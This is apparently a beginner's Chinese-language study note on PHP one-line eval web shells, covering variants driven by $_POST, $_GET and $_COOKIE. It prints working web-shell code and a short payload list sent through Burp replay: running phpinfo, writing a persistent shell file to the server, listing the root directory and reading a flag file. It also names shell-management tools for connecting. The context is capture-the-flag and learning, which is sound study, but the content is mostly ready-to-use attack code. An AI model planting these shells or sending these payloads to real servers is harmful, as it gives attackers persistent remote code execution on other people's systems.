对eval类型的一句话的见解
一,$_POST
1概述
POST是一种取数据的方式。请求开始后,浏览器要向服务器额外发送一些数据,例如cookie、用户名、密码等等,这些数据不体现在URL上,发送完毕后服务器再将数据(网页)传送给浏览器。
(下述为个人理解)
通过该方法传递,简单来说就是用传递的参数构建连接,一旦主动调用后,参数将传递至服务器,且服务器响应200,就建立了TCP/UDP连接,可以通过链接直接进行shell管理。
2常见格式
<?php @eval($_POST['content']);?>
//说明 @和'可以省略,@可以忽略报错,content随意
3使用方式
直接使用shell管理工具连接即可,例如:蚁剑、菜刀、冰蝎等。具体过程就不演示了。
二,$_GET
1概述
GET表示浏览器从服务器取数据的方式,并且在此期间浏览器不向服务器发送任何的数据,所有数据均体现在URL当中。
(下述为个人理解)
由于此方法主动调用之后不会立即向服务器发送数据,而是交由服务器处理后,返回结果,所以没有机会建立双向链接,故无法使用shell管理工具连接。
2常见格式
<?php @eval($_GET['content']);?>
//说明 @可以省略-@可以忽略报错,'不可省略-不然无法,content随意
3使用方法
利用bp抓包,进行重放攻击,利用参数传递php函数执行命令获取服务器相关信息。这就意味着需要收集相关的姿势了,下面收集了一些常见姿势。
(1)查看信息
phpinfo();
(2)写入一句话
$myfile = fopen("1.php", "w");fwrite($myfile,"<?php @eval(\$_POST[a]);?>");
(3)glob:///查看根目录
$a = new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString());}
(4)查看指定文件内容
var_dump(file_get_contents("flag.txt"));//引号内需要加路径,如果是当前路径则直接填文件名。
4举例
一般来说,下图为GET形使用的常见方式。
三,$_COOKIE
1概述
$_COOKIE需要配合setcookie()使用,即通过PHP设置cookie的方式(其实其他语言也可以设置cookie,例如:js)时,需要该方法和函数配合使用。
该方法是用来获取通过setcookie()定义的指定cookie键的值。
该方法主要需要绕过或者伪造。
2举例
<?php
error_reporting(0);
highlight_file(__FILE__);
setcookie("user",1);
$user=$_COOKIE['user'];//获取cookie(也就是$a)的值
if ($user==='admin'){
eval($_POST['a']);
}
?>
连接方式
确认即可。
四,总结
http协议的八种方式Php都支持,既然支持,理论上就一定会有相应的eval一句话写法,这里收录了三种方法的eval一句话。(其实身为初学者的我是近期才总结的,所以知道的姿势少而且不精,望各位大佬多多指教。)